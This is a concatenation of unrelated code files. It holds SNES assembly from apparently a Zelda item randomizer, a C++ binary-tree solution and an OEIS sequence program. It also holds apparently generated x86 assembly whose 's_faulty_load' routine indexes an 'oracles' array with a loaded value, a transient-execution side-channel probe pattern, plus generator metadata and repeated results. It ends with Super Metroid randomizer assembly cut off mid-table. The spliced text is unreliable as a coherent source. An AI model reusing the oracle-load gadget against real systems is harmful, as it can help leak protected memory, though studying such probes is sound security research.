;-------------------------------------------------------------------------------- ; IsNarrowSprite ; in: A - Loot ID ; out: Carry - 0 = Full, 1 = Narrow ;-------------------------------------------------------------------------------- IsNarrowSprite: PHA : PHX PHB : PHK : PLB ;JSR AttemptItemSubstitution ;-------- CMP.b #$B3 : BNE + : SEC : BRL .done : + ; Magic Refill -- todo do this less hackily CMP.b #$16 : BEQ .bottle ; Bottle CMP.b #$2B : BEQ .bottle ; Red Potion w/bottle CMP.b #$2C : BEQ .bottle ; Green Potion w/bottle CMP.b #$2D : BEQ .bottle ; Blue Potion w/bottle CMP.b #$3C : BEQ .bottle ; Bee w/bottle CMP.b #$3D : BEQ .bottle ; Fairy w/bottle CMP.b #$48 : BEQ .bottle ; Gold Bee w/bottle CMP.b #$5A : BEQ .bee_trap CMP.b #$B0 : BEQ .bee_trap BRA .notBottle .bee_trap LDA !BEE_TRAP_DISGUISE JSL.l IsNarrowSprite BRL .done .bottle JSR.w CountBottles : CMP.l BottleLimit : !BLT + LDA.l BottleLimitReplacement JSL.l IsNarrowSprite BRL .done + : BRA .continue .notBottle CMP.b #$5E : BNE ++ ; Progressive Sword LDA $7EF359 : CMP.l ProgressiveSwordLimit : !BLT + ; Progressive Sword Limit LDA.l ProgressiveSwordReplacement JSL.l IsNarrowSprite BRA .done + : BRA .continue ++ : CMP.b #$5F : BNE ++ ; Progressive Shield LDA !PROGRESSIVE_SHIELD : AND #$C0 : BNE + : SEC : BRA .done ; No Shield LSR #6 : CMP.l ProgressiveShieldLimit : !BLT + ; Progressive Shield Limit LDA.l ProgressiveShieldReplacement JSL.l IsNarrowSprite BRA .done + ;LDA $7EF35A : BNE + : SEC : BRA .done : +; No Shield BRA .false ; Everything Else ++ CMP.b #$60 : BNE ++ ; Progressive Armor LDA $7EF35B : CMP.l ProgressiveArmorLimit : !BLT + ; Progressive Armor Limit LDA.l ProgressiveArmorReplacement JSL.l IsNarrowSprite BRA .done + ++ CMP.b #$62 : BNE ++ ; RNG Item (Single) JSL.l GetRNGItemSingle : BRA .continue ++ CMP.b #$63 : BNE ++ ; RNG Item (Multi) JSL.l GetRNGItemMulti ++ .continue ;-------- LDX.b #$00 ; set index counter to 0 ;---- - CPX.b #$24 : !BGE .false ; finish if we've done the whole list CMP.l .smallSprites, X : BNE + ; skip to next if we don't match ;-- SEC ; set true state BRA .done ; we're done ;-- + INX ; increment index BRA - ; go back to beginning of loop ;---- .false CLC .done PLB : PLX : PLA RTL ;DATA - Half-Size Sprite Markers { .smallSprites db $04, $07, $08, $09, $0A, $0B, $0C, $13 db $15, $18, $24, $2A, $34, $35, $36, $42 db $43, $45, $59, $A0, $A1, $A2, $A3, $A4 db $A5, $A6, $A7, $A8, $A9, $AA, $AB, $AC db $AD, $AE, $AF, $B3, $FF, $FF, $FF, $FF } ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; PrepDynamicTile ; in: A - Loot ID ;-------------------------------------------------------------------------------- 20/8477 PrepDynamicTile: PHA : PHX : PHY TAX : LDA RemoteItems : BEQ + TXA CMP !MULTIWORLD_SCOUTREPLY_LOCATION : BNE ++ LDA !MULTIWORLD_SCOUTREPLY_PLAYER : STA !MULTIWORLD_SPRITEITEM_PLAYER_ID LDA !MULTIWORLD_SCOUTREPLY_ITEM TAX BRA + ++ STA !MULTIWORLD_SCOUT_LOCATION LDA #$00 : STA !MULTIWORLD_SPRITEITEM_PLAYER_ID LDX #$6B + JSL GetRandomInt : AND #$3F ; pick random int every time we prep a tile, just in case it's a bee thing BNE + : LDA #$49 : + : CMP #$26 : BNE + : LDA #$6A : + ; if 0 (fighter's sword + shield), set to just sword, if filled container (bugged palette), switch to triforce piece STA !BEE_TRAP_DISGUISE TXA JSR.w LoadDynamicTileOAMTable JSL.l GetSpriteID ; convert loot id to sprite id JSL.l GetAnimatedSpriteTile_variable LDA.b #$00 : STA !MULTIWORLD_SPRITEITEM_PLAYER_ID PLY : PLX : PLA RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; LoadDynamicTileOAMTable ; in: A - Loot ID ;-------------------------------------------------------------------------------- 20/847B !SPRITE_OAM = "$7EC025" ;-------------------------------------------------------------------------------- LoadDynamicTileOAMTable: PHA : PHP PHA REP #$20 ; set 16-bit accumulator LDA.w #$0000 : STA.l !SPRITE_OAM STA.l !SPRITE_OAM+2 LDA.w #$0200 : STA.l !SPRITE_OAM+6 SEP #$20 ; set 8-bit accumulator LDA.b #$24 : STA.l !SPRITE_OAM+4 LDA $01,s JSL.l GetSpritePalette STA !SPRITE_OAM+5 : STA !SPRITE_OAM+13 PLA JSL.l IsNarrowSprite : BCS .narrow BRA .done .narrow REP #$20 ; set 16-bit accumulator LDA.w #$0000 : STA.l !SPRITE_OAM+7 STA.l !SPRITE_OAM+14 LDA.w #$0800 : STA.l !SPRITE_OAM+9 LDA.w #$3400 : STA.l !SPRITE_OAM+11 .done PLP : PLA RTS ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; DrawDynamicTile ; in: A - Loot ID ; out: A - OAM Slots Taken ;-------------------------------------------------------------------------------- ; This wastes two OAM slots if you don't want a shadow - fix later - I wrote "fix later" over a year ago and it's still not fixed (Aug 6, 2017) - lol (May 25th, 2019) ;-------------------------------------------------------------------------------- 2084B8 !SPRITE_OAM = "$7EC025" !SKIP_EOR = "$7F5008" ;-------------------------------------------------------------------------------- DrawDynamicTile: JSR PrepDrawRemoteItemSprite JSL.l IsNarrowSprite : BCS .narrow .full LDA.b #$01 : STA $06 LDA #$0C : JSL.l OAM_AllocateFromRegionC LDA #$02 : PHA BRA .draw .narrow LDA.b #$02 : STA $06 LDA #$10 : JSL.l OAM_AllocateFromRegionC LDA #$03 : PHA .draw LDA.b #!SPRITE_OAM>>0 : STA $08 LDA.b #!SPRITE_OAM>>8 : STA $09 STZ $07 LDA #$7E : PHB : PHA : PLB LDA.b #$01 : STA.l !SKIP_EOR JSL Sprite_DrawMultiple_quantity_preset LDA.b #$00 : STA.l !SKIP_EOR PLB LDA $90 : !ADD.b #$08 : STA $90 ; leave the pointer in the right spot to draw the shadow, if desired LDA $92 : INC #2 : STA $92 PLA RTL ;-------------------------------------------------------------------------------- DrawDynamicTileNoShadow: JSR PrepDrawRemoteItemSprite JSL.l IsNarrowSprite : BCS .narrow .full LDA.b #$01 : STA $06 LDA #$04 : JSL.l OAM_AllocateFromRegionC BRA .draw .narrow LDA.b #$02 : STA $06 LDA #$08 : JSL.l OAM_AllocateFromRegionC .draw LDA.b #!SPRITE_OAM>>0 : STA $08 LDA.b #!SPRITE_OAM>>8 : STA $09 STZ $07 LDA #$7E : PHB : PHA : PLB LDA.b #$01 : STA.l !SKIP_EOR JSL Sprite_DrawMultiple_quantity_preset LDA Bob : BNE + : LDA.b #$00 : STA.l !SKIP_EOR : + ; Bob fix is conditional PLB LDA $90 : !ADD.b #$08 : STA $90 LDA $92 : INC #2 : STA $92 RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- PrepDrawRemoteItemSprite: PHA LDA RemoteItems : BEQ + PLA CMP !MULTIWORLD_SCOUTREPLY_LOCATION : BNE ++ LDA !MULTIWORLD_SCOUT_LOCATION : BEQ +++ LDA !MULTIWORLD_SCOUTREPLY_LOCATION JSL PrepDynamicTile LDA #$00 BRA ++ +++ LDA !MULTIWORLD_SCOUTREPLY_PLAYER : STA !MULTIWORLD_SPRITEITEM_PLAYER_ID LDA !MULTIWORLD_SCOUTREPLY_ITEM RTS ++ STA !MULTIWORLD_SCOUT_LOCATION LDA #$00 : STA !MULTIWORLD_SPRITEITEM_PLAYER_ID LDA #$6B RTS + PLA RTS ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- !TILE_UPLOAD_OFFSET_OVERRIDE = "$7F5042" LoadModifiedTileBufferAddress: PHA LDA !TILE_UPLOAD_OFFSET_OVERRIDE : BEQ + TAX LDA.w #$0000 : STA !TILE_UPLOAD_OFFSET_OVERRIDE BRA .done + LDX.w #$2D40 .done LDY.w #$0002 PLA RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; Sprite_IsOnscreen ; in: X - Sprite Slot ; out: Carry - 1 = On Screen, 0 = Off Screen ;-------------------------------------------------------------------------------- Sprite_IsOnscreen: JSR _Sprite_IsOnscreen_DoWork BCS + REP #$20 LDA $E2 : PHA : !SUB.w #$0F : STA $E2 LDA $E8 : PHA : !SUB.w #$0F : STA $E8 SEP #$20 JSR _Sprite_IsOnscreen_DoWork REP #$20 PLA : STA $E8 PLA : STA $E2 SEP #$20 + RTL _Sprite_IsOnscreen_DoWork: LDA $0D10, X : CMP $E2 LDA $0D30, X : SBC $E3 : BNE .offscreen LDA $0D00, X : CMP $E8 LDA $0D20, X : SBC $E9 : BNE .offscreen SEC RTS .offscreen CLC RTS ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; Sprite_GetScreenRelativeCoords: ; out: $00.w Sprite Y ; out: $02.w Sprite X ; out: $06.b Sprite Y Relative ; out: $07.b Sprite X Relative ;-------------------------------------------------------------------------------- ; Copied from bank $06 ;-------------------------------------------------------------------------------- !spr_y_lo = $00 !spr_y_hi = $01 !spr_x_lo = $02 !spr_x_hi = $03 !spr_y_screen_rel = $06 !spr_x_screen_rel = $07 ;-------------------------------------------------------------------------------- Sprite_GetScreenRelativeCoords: STY $0B STA $08 LDA $0D00, X : STA $00 !SUB $E8 : STA $06 LDA $0D20, X : STA $01 LDA $0D10, X : STA $02 !SUB $E2 : STA $07 LDA $0D30, X : STA $03 RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; SkipDrawEOR - Shims in Bank05.asm : 2499 ;-------------------------------------------------------------------------------- !SKIP_EOR = "$7F5008" ;-------------------------------------------------------------------------------- SkipDrawEOR: LDA.l !SKIP_EOR : BEQ .normal LDA.w #$0000 : STA.l !SKIP_EOR LDA $04 : AND.w #$F0FF : STA $04 .normal LDA ($08), Y : EOR $04 ; thing we wrote over RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; HexToDec ; in: A(w) - Word to Convert ; out: $7F5003 - $7F5007 (high - low) ;-------------------------------------------------------------------------------- HexToDec: PHA PHA LDA.w #$9090 STA $04 : STA $06 ; temporarily store our decimal values here for speed PLA ; as far as i can tell we never convert a value larger than 9999, no point in wasting time on this? ; - ; CMP.w #10000 : !BLT + ; INC $03 ; !SUB.w #10000 : BRA - ; + - CMP.w #1000 : !BLT + INC $04 !SUB.w #1000 : BRA - + - CMP.w #100 : !BLT + INC $05 !SUB.w #100 : BRA - + - CMP.w #10 : !BLT + INC $06 !SUB.w #10 : BRA - + - CMP.w #1 : !BLT + INC $07 !SUB.w #1 : BRA - + LDA.b $04 : STA $7F5004 ; move to digit storage LDA.b $06 : STA $7F5006 PLA RTL ;-------------------------------------------------------------------------------- ; CountBits ; in: A(b) - Byte to count bits in ; out: A(b) - sum of bits ; caller is responsible for setting 8-bit mode and preserving X and Y ;-------------------------------------------------------------------------------- CountBits: PHB : PHK : PLB TAX ; Save a copy of value LSR #4 ; Shift down hi nybble, Leave <3> in C TAY ; And save <7:4> in Y TXA ; Recover value AND.b #$07 ; Put out <2:0> in X TAX ; And save in X LDA NybbleBitCounts, Y; Fetch count for Y ADC.l NybbleBitCounts, X; Add count for X & C PLB RTL ; Look up table of bit counts in the values $00-$0F NybbleBitCounts: db #00, #01, #01, #02, #01, #02, #02, #03, #01, #02, #02, #03, #02, #03, #03, #04 ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; HexToDec ; in: A(w) - Word to Convert ; out: $7F5003 - $7F5007 (high - low) ;-------------------------------------------------------------------------------- ;HexToDec: ; PHA ; PHA ; LDA.w #$9090 ; STA $7F5003 : STA $7F5005 : STA $7F5006 ; clear digit storage ; PLA ; - ; CMP.w #10000 : !BLT + ; PHA : SEP #$20 : LDA $7F5003 : INC : STA $7F5003 : REP #$20 : PLA ; !SUB.w #10000 : BRA - ; + - ; CMP.w #1000 : !BLT + ; PHA : SEP #$20 : LDA $7F5004 : INC : STA $7F5004 : REP #$20 : PLA ; !SUB.w #1000 : BRA - ; + - ; CMP.w #100 : !BLT + ; PHA : SEP #$20 : LDA $7F5005 : INC : STA $7F5005 : REP #$20 : PLA ; !SUB.w #100 : BRA - ; + - ; CMP.w #10 : !BLT + ; PHA : SEP #$20 : LDA $7F5006 : INC : STA $7F5006 : REP #$20 : PLA ; !SUB.w #10 : BRA - ; + - ; CMP.w #1 : !BLT + ; PHA : SEP #$20 : LDA $7F5007 : INC : STA $7F5007 : REP #$20 : PLA ; !SUB.w #1 : BRA - ; + ; PLA ;RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; WriteVRAMStripe ; in: A(w) - VRAM Destination ; in: X(w) - Length in Tiles ; in: Y(w) - Word to Write ;-------------------------------------------------------------------------------- WriteVRAMStripe: PHX LDX $1000 ; get pointer AND.w #$7F : STA $1002, X : INX #2 ; set destination PLA : ASL : AND.w #$7FFF : ORA.w #$7000 : STA $1002, X : INX #2 ; set length and enable RLE TYA : STA $1002, X : INX #2 ; set tile SEP #$20 ; set 8-bit accumulator LDA.b #$FF : STA $1002, X STX $1000 LDA.b #01 : STA $14 REP #$20 ; set 16-bit accumulator RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; WriteVRAMBlock ; in: A(w) - VRAM Destination ; in: X(w) - Length in Tiles ; in: Y(w) - Address of Data to Copy ;-------------------------------------------------------------------------------- WriteVRAMBlock: PHX LDX $1000 ; get pointer AND.w #$7F : STA $1002, X : INX #2 ; set destination PLA : ASL : AND.w #$3FFF : STA $1002, X : INX #2 ; set length PHX TYX ; set X to source PHA TXA : !ADD #$1002 : TAY ; set Y to dest PLA ;A is already the value we need for mvn MVN $7F7E ; currently we transfer from our buffers in 7F to the vram buffer in 7E !ADD 1, s ; add the length in A to the stack pointer on the top of the stack PLX : TAX ; pull and promptly ignore, copying the value we just got over it SEP #$20 ; set 8-bit accumulator LDA.b #$FF : STA $1002, X STX $1000 LDA.b #01 : STA $14 REP #$20 ; set 16-bit accumulator RTL ;-------------------------------------------------------------------------------- ;Byte 1 byte 2 Byte 3 byte 4 ;Evvvvvvv vvvvvvv DRllllll llllllll ; ;E if set indicates that this is not a header, but instead is the terminator byte. Only the topmost bit matters in that case. ;The v's form a vram address. ;if D is set, the dma will increment the vram address by a row per word, instead of incrementing by a column (1). ;R if set enables a run length encoding feature ;the l's are the number of bytes to upload minus 1 (don't forget this -1, it is important) ; ;This is then followed by the bytes to upload, in normal format. ;RLE feature: ;This feature makes it easy to draw the same tile repeatedly. If this bit is set, the length bits should be set to 2 times the number of copies of the tile to upload. (Without subtracting 1!) ;It is followed by a single tile (word). Combining this this with the D bit makes it easy to draw large horizontal or vertical runs of a tile without using much space. Geat for erasing or drawing horizontal or verical box edges. ;================================================================================
/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: vector<int> rightSideView(TreeNode* root) { if (!root) return {}; queue<TreeNode*> q; vector<int> res, t; q.push(root); while (!q.empty()) { size_t size = q.size(); for (size_t i = 0; i < size - 1; ++i) { TreeNode* p = q.front(); q.pop(); if (p->left) q.push(p->left); if (p->right) q.push(p->right); } TreeNode* p = q.front(); q.pop(); res.push_back(p->val); if (p->left) q.push(p->left); if (p->right) q.push(p->right); // cout << q.size()<<endl; } return res; } };
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x117a2, %rax nop nop dec %rsi movw $0x6162, (%rax) cmp %rax, %rax lea addresses_UC_ht+0x172c2, %r11 nop nop nop nop xor $28307, %rax movl $0x61626364, (%r11) nop nop nop nop nop sub $57711, %rax lea addresses_A_ht+0x9ad2, %r13 nop nop inc %rcx vmovups (%r13), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r11 nop nop cmp $43713, %r11 lea addresses_UC_ht+0x32c2, %rsi lea addresses_normal_ht+0xa942, %rdi nop nop nop nop cmp $49811, %r11 mov $120, %rcx rep movsb nop nop nop cmp %r11, %r11 lea addresses_normal_ht+0x17692, %rsi lea addresses_normal_ht+0x1c9a2, %rdi clflush (%rdi) nop nop nop nop and $26108, %r10 mov $48, %rcx rep movsq nop nop nop inc %rax lea addresses_WT_ht+0x10ec2, %rdi nop nop inc %r10 mov $0x6162636465666768, %rcx movq %rcx, %xmm1 movups %xmm1, (%rdi) nop sub %r11, %r11 lea addresses_WC_ht+0x5a52, %rsi lea addresses_UC_ht+0x14ba2, %rdi nop nop add $34596, %r13 mov $51, %rcx rep movsl nop nop nop xor %rsi, %rsi lea addresses_UC_ht+0x15df2, %rsi nop nop nop nop cmp $9324, %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%rsi) nop nop nop nop nop cmp $5894, %rax lea addresses_normal_ht+0x13e61, %rsi lea addresses_UC_ht+0x1bcb2, %rdi nop nop nop nop nop and %r12, %r12 mov $111, %rcx rep movsb nop nop nop nop nop add $61600, %rdi lea addresses_UC_ht+0x4ec2, %r12 clflush (%r12) nop nop add $11288, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%r12) nop nop add $15788, %rsi lea addresses_WC_ht+0x19ae2, %rsi lea addresses_D_ht+0x6cfa, %rdi clflush (%rsi) nop nop nop sub %r10, %r10 mov $48, %rcx rep movsq nop xor %r12, %r12 lea addresses_WT_ht+0xc4da, %r10 nop nop and %r11, %r11 mov (%r10), %ax nop nop nop nop dec %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_WC+0x5e42, %rsi lea addresses_PSE+0x164f6, %rdi nop sub $23792, %r11 mov $66, %rcx rep movsb nop nop nop nop nop cmp $41025, %rbx // Store lea addresses_UC+0x1cced, %rsi nop nop nop nop nop and $53694, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm1 vmovups %ymm1, (%rsi) nop xor $64619, %r11 // Store lea addresses_WC+0x6ac2, %r9 nop nop nop nop sub $55819, %rbx mov $0x5152535455565758, %r11 movq %r11, %xmm4 movups %xmm4, (%r9) nop add $18205, %rdx // Store lea addresses_A+0x19ffe, %rdi nop nop nop nop nop sub $38004, %rdx mov $0x5152535455565758, %r11 movq %r11, %xmm3 vmovups %ymm3, (%rdi) nop nop and $3486, %rcx // Store lea addresses_D+0x1eec2, %rsi add %rcx, %rcx mov $0x5152535455565758, %r9 movq %r9, (%rsi) nop nop nop and %rbx, %rbx // Store lea addresses_PSE+0x7c02, %rdi nop nop nop nop add %r11, %r11 movb $0x51, (%rdi) nop inc %r9 // REPMOV lea addresses_US+0x13ec2, %rsi lea addresses_A+0xa1e2, %rdi nop nop nop nop nop cmp $32328, %r10 mov $67, %rcx rep movsb nop nop nop inc %r9 // Store lea addresses_UC+0x5312, %rdi clflush (%rdi) nop cmp $30275, %r9 movl $0x51525354, (%rdi) nop nop nop nop xor %rdx, %rdx // Store lea addresses_UC+0x52c2, %r9 sub %rsi, %rsi movw $0x5152, (%r9) nop dec %rdx // Store lea addresses_UC+0x36c2, %r9 nop dec %r11 movw $0x5152, (%r9) nop nop nop and %r11, %r11 // Store lea addresses_WT+0xdac2, %rdx nop nop nop nop nop xor $10360, %rdi mov $0x5152535455565758, %r11 movq %r11, (%rdx) nop nop cmp $41174, %r11 // Faulty Load lea addresses_WT+0x9ac2, %rdi nop nop nop nop nop add $23241, %r9 mov (%rdi), %bx lea oracles, %rdx and $0xff, %rbx shlq $12, %rbx mov (%rdx,%rbx,1), %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 0}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_US'}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 10}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 2}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': True, 'congruent': 3, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 0}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
; A041022: Numerators of continued fraction convergents to sqrt(15). ; Submitted by Jon Maiga ; 3,4,27,31,213,244,1677,1921,13203,15124,103947,119071,818373,937444,6443037,7380481,50725923,58106404,399364347,457470751,3144188853,3601659604,24754146477,28355806081,194888982963,223244789044,1534357717227,1757602506271,12079972754853,13837575261124,95105424321597,108942999582721,748763421817923,857706421400644,5895001950221787,6752708371622431,46411252179956373,53163960551578804,365395015489429197,418558976041008001,2876748871735477203,3295307847776485204,22648595958394388427 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,6 mul $2,3 add $3,$2 lpe mov $0,$3
!IBranchItem = #$887C !ISetItem = #$8899 !ILoadSpecialGraphics = #$8764 !ISetGoto = #$8A24 !ISetPreInstructionCode = #$86C1 !IDrawCustom1 = #$E04F !IDrawCustom2 = #$E067 !IGoto = #$8724 !IKill = #$86BC !IPlayTrackNow = #$8BDD !IJSR = #$8A2E !ISetCounter8 = #$874E !IGotoDecrement = #$873F !IGotoIfDoorSet = #$8A72 !ISleep = #$86B4 !IVisibleItem = #i_visible_item !IChozoItem = #i_chozo_item !IHiddenItem = #i_hidden_item !ILoadCustomGraphics = #i_load_custom_graphics !IPickup = #i_live_pickup !IStartDrawLoop = #i_start_draw_loop !IStartHiddenDrawLoop = #i_start_hidden_draw_loop !ITEM_RAM = $7E09A2 ; SM Item Patches pushpc ;org $8095f7 ; jsl nmi_read_messages : nop ; Add custom PLM that can asynchronously load in items org $84f870 ; lordlou: had to move this from original place ($84efe0) since it conflicts with VariaRandomizer's beam_doors_plms patch dw i_visible_item_setup, v_item ;f870 dw i_visible_item_setup, c_item ;f874 dw i_hidden_item_setup, h_item ;f878 v_item: dw !IVisibleItem c_item: dw !IChozoItem h_item: dw !IHiddenItem ; Graphics pointers for items (by item index) sm_item_graphics: dw $0008 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Energy Tank dw $000A : db $00, $00, $00, $00, $00, $00, 